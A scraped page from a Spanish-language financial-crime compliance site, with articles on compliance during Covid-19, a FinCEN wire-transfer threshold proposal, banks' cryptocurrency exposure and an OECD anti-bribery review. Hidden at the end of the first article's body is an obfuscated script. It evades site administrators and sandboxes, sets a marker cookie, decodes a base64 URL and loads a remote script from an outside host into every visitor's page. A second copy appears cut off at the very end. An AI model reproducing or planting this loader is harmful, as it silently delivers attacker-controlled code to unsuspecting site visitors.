o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new 